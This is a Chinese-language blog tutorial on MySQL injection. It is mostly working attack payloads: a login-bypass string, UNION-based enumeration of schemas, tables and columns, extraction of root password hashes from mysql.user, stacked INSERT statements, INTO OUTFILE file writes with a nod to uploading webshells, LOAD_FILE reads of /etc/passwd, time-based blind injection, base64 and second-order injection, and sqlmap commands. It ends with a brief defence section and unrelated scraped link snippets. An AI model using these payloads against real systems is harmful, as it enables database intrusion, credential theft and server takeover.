mysql注入大全及防御
0.明白存在的位置:get型 post型 cookie型 http头注入
1.先测试注入点,注册框、搜索框、地址栏啥的,判断是字符型,搜索型还是数字型
字符型 1' and '1'='1 成功, 1' and '1'='2 报错 1成功,1'报错 注意闭合
万能密码:1' or ’1‘=’1 #
数字型去掉'同理
搜索型 select password from users where user like '% admin %' 注意通配符闭合
SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有数据,除非limit 1,原理和万能密码一样,后接了or 此where功能失效,相当于SELECT * FROM `users`
2.猜字段,判断select返回的有多少字段(多少列)
1’ order by 1 #
1’ order by 2 #. //原理是2是按照select后返回的第二列排序显示。如果没有这一列,报错
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
and 1=2 代表业务内的查询一定不会成功,不显示,让它显示union之后的语句,看看报错或者显示到几,就知道业务查询了几个字段(列)
union查询前后的列数必须相等, 1,2,3,4,5是为了凑字段(例),凑够才能正常执行,同时还能判断网站显示位,
有关limit:前面是admin' and 1=2 union select....limit 1 //不显示原有查询,只从自己构造的查询里取前一条
admin' and 1=2 union select....limit 2 //不显示原有查询,只从自己构造的查询里取前两条
admin' and 1=2 union select....limit 0,1 //不显示原有查询,只从自己构造的查询里从第1条位置开始,取1个数据
admin' and 1=2 union select....limit 2,4 //不显示原有查询,只从自己构造的查询里从第3条位置开始,取4个数据
3.查询数据库名,
union select database(),2 # //后面如果是字符型接#注释掉后面的,database(),2按照要求要返回同原始查询相同数目的字段数,也可以接 database(),database(),凑够原始查询字段数就可以
version(), database(),user()这几个相当于全局变量 , 在数据库中直接select version()就会返回对应的数据库版本信息;
跨库旁注:
一。查看所有数据库名
1'union select 1,schema_name from schemata #
4.查询表名
有了数据库下一步就是确定其中有哪些数据表,我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表的信息。插入以下的payload
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查询出来的数据库名’ # 前面依然保持字段数
不出意外,下面除了第一行正常数据,下面的都是所在业务数据库表名,自行通过limit限制查询指定表
像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,没有就报错
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
Table_schema:数据库名
Table_name:表名
5.了解列名
我们还不知道这个数据表里有哪些字段(列),这就要用到mysql里 information_schema其中columns这个数据表了。插入如下的payload
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一个表名’ and table_schema=’业务所在的数据库名’
假如出来了user 和password字段
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Column_name:列名
6.啥都知道了,直接查
1' union select user,password from users
以下为转载防备忘
//这个可以判断数据库的版本是否为数字5开头
select * from db where 1 = 1 and mid(version(),1,1)=5
//通过union查询可以获取数据库的版本信息, 当然了, union查询要求字段一定匹配;
select * from orders union select 1,version() from orders
//确定查询的字段数,如果返回成功, 那么union会成功;
select * from orders union select 1,1 from orders
//通过在where后面添加and ord(mid(version(),1,1))<50 判断数据库的版本号
select * from db where 1 = 1 and ord(mid(version(),1,1))<50
//这个可以查询到当前的用户信息(比如root)
select * from orders union select database(),user() from orders
//返回用户数
select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user
//获取用户名为root的密码;
select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'
//根据当前字段数获取information_schema中保存所有数据库信息
select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
//information_schema.TABLES这个字段保存的是mysql的表信息
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100
//获取world这个数据库的表结构, 当然, 你首先爆数据库名;
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100
//获取字段, 要知道数据库和表的名字,就可以获取字段的名字了
select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci //尼玛啊, 哟了root这个是直接爆密码的节奏啊;
select * from orders where 1=1 and 1=2 union select User,Password from mysql.use
//如果略显无聊, 我们可以利用;insert into orders(name) values('hehe');增加自己想要的字段;
select * from orders where 1=1 ;insert into orders(name) values('hehe');
//我们可以把查询出来的数据保存,当然了,你要知道保存的目录.... 就是传jsp, asp, php小马, 小马传大马, 大马传木马, 然后就呵呵了( ̄▽ ̄)"
select user from mysql.user where 1=1 into outfile 'e:/sql.txt';
//o(^▽^)o,下面是转载的,防忘记,
暴字段长度
order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
database() user()
version():数据库版本
@@version_compile_os:操作系统
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1 //限制仅显示一条信息,避免页面出错
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1


SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
|
load_file()常用的敏感信息见我另外一篇博客,暴路径写马拿shell的一些姿势
replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.
9.盲注
基于时间的盲注:
sleep()函数可以延时是使数据库执行,同时也可以判断当前语句是否能正确执行,正确执行会延时
例如:union select 1,2,sleep(5) from....
if(条件,true参数,false参数),如果条件成立,返回true参数,否则返回false参数
0.明白 ’ and if(length(database())=6,sleep(5),sleep(0)) --+ 管用,这里页面正不正常无所谓,重要的是看执行时间
1.定字段数
union select 1,2,sleep(2) //order by失效时判断是不是3个字段(结果集的列、显示位),是则延迟两秒显示结果
2.定数据库
union select1,2,sleep( if(length(database())=5,5,0) ) from....//判断数据库名长度是不是5位,是的话网页延迟5秒执行,否则立即执行,也可以用>5、<5来判断
简单的:.php?id=1 and sleep( if(length(database())=5,5,0) ) 也可以行的通,因为这里sleep一定会执行。
union select1,2,sleep( if(mid(database(),1,1)='s',5,0) ) from...//判断数据库名第一位是不是s,此法可逐位猜解数据库名
http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0)) -- # //判断数据库名字第二位是不是v
3.定表名
admin' and 1=2 union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #
//dvwa数据库第二个表位置,取一个数量的表,判断它表名第一位是不是u,是的话延时5秒显示结果
select * from users union select sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判断表内有没有admin,有就延迟5秒显示,否则三秒,从第一条位置开始取一条结果,且只让sleep执行一次,否则延迟元组数*5秒
4.定列名
也是以下思路,先用length判断长度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,这个函数是asc()
基于布尔型的盲注:
旁注原理很简单,跨库注入,不说了。
10.加密注入、base64注入
http://127.0.0.1/sqlin/base64/index.php?id=MSBhbmQgMT0x
id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出来,
流程:业务层base64加密生成,显示在url上面,然后传入后台时base64解密,与MD5大写或者小写(不超过F)一种加数字,位数固定相比,base64位数不固定26种字母加大小写混编,后面常常以等于号结束。
渗透思路,渗透的sql语句先用工具base64加密,再拼接在注入点后面
11.二次注入
很智慧,在能输入的地方,比如留言板之类写入sql语句。然后这些语句提交后被当作评论或正常内容送入数据库存储。
数据存进去了,查看的时候好戏来了,自己发的内容被展示时,查询语句和自己提交的sql语句拼接,达到查询敏感信息,有注入效果。
比如一张表user有ID 、password、profile。填写介绍时,在profile写 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1
而碰巧业务查询语句是select id,password,profile from user where id=' $id '或者select * from user where id=' $id ',正好就拼接成了
select * from user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在织梦CMs里以前经常出这些问题。
而显示如果是类似$while(isset($result)){ echo $id $password $profile}这样的语句。返回的是自己注入的信息。
12.伪静态注入:
http://127.0.0.1/index/id/1.html
可以经过中转为.php?id=1注入,也可以进行手动测试
http://127.0.0.1/index/id/1/**/and/**/1=1.html,注释只能用/**/不能用#
还有的后面是用base64加密的伪静态
跑sqlmap时:sqlmap -u http://127.0.0.1/index/id/1*.html
注意一下就可以了,原理思路还是和普通注入一样。
13防御加固:
过滤函数:
1.addslashes() $id=addslashes($_GET['x']) mysql_real_escape_string,mysql_escape_string
2.魔术引号(‘ " null \)。magic_quotes_gpc所有被返回的数据都会被\转义。php4.3.4是一个分界点
3.自定义的过滤函数、正则表达等
4.参数化sql、存储过程
php.ini合理配置,dispaly_error关掉。不显示报错路径
mysql注入大全及防御的更多相关文章
- [转载] MySQL 注入攻击与防御
MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0 作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...
- Mysql注入攻击与防御(思维导图笔记)
- MySQL注入与防御(排版清晰内容有条理)
为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...
- MySQL注入与防御
1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...
- 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞
看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- 十三:SQL注入之MYSQL注入
MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...
- MySQL 函数大全
mysql函数大全 对于针对字符串位置的操作,第一个位置被标记为1. ASCII(str) 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NU ...
- 常用mysql命令大全
常用的MySQL命令大全 一.连接MySQL 格式: mysql -h主机地址 -u用户名 -p用户密码 1.例1:连接到本机上的MYSQL. 首先在打开DOS窗口,然后进入目录 mysqlbin,再 ...
随机推荐
- 套接字之sendmsg系统调用
sendmsg系统调用允许在用户空间构造消息头和控制信息,用此函数可以发送多个数据缓冲区的数据,并支持控制信息:当调用进入内核后,会将用户端的user_msghdr对应拷贝到内核的msghdr中,然后 ...
- 常用javaScript小常识
javascript数据类型强制转换 一.转换为数值类型 Number(参数) 把任何的类型转换为数值类型 A.如果是布尔值,false为0,true为1 B.如果是数字,转换成为本身.将无意义的后导 ...
- Firefox63以后 禁止自动更新方式
参考:https://bbs.kafan.cn/thread-2135160-1-1.html 63版以后在prefs.js文件末尾加代码来禁止自动更新的方式失效 新方式: 使用DisableAppU ...
- C# WinForm 控制台日志输出
public class MyConsole : IDisposable { private const uint STD_INPUT_HANDLE = 0xfffffff6; private con ...
- Prism学习--实现可插拔的模块
首先,在使用Prism框架加载的程序集中分别添加一个类,并让这些类实现IModule接口.当Prism框架加载某个程序集后,将首先在程序集中搜索实现了该接口的类.之后将会调用该接口的Initializ ...
- 运行上次失败用例(--lf 和 --ff)
前言 “80%的bug集中在20%的模块,越是容易出现bug的模块,bug是越改越多“平常我们做手工测试的时候,比如用100个用例需要执行,其中10个用例失败了,当开发修复完bug后,我们一般是重点测 ...
- Linux监控命令之==>strace
一.命令介绍 strace 常用来跟踪进程执行时的系统调用和所接收的信号.在Linux 世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式 ...
- Elasticsearch 6.2.3版本 filtered 报错问题 no [query] registered for [filtered]
背景描述 近期在学习<Elasticsearch 权威指南>上的一些基本命令,在操作到 filtered 进行过滤查询的时候,报错 “no [query] registered for [ ...
- kafka代码测试连接
1.发送: package kafka.test; import java.util.Date;import java.util.Properties;import java.util.Random; ...
- 使用canvas实现对图片的批量打码
最近有个需求,利用h5的canvas对图片一些涉及个人隐私的地方进行打码再上传,而且最好能实现批量打码.意思是在一张图片上对哪些地方做了打码,后续的所有图片都在同样的地方也可以自动打上码,不用人工一张 ...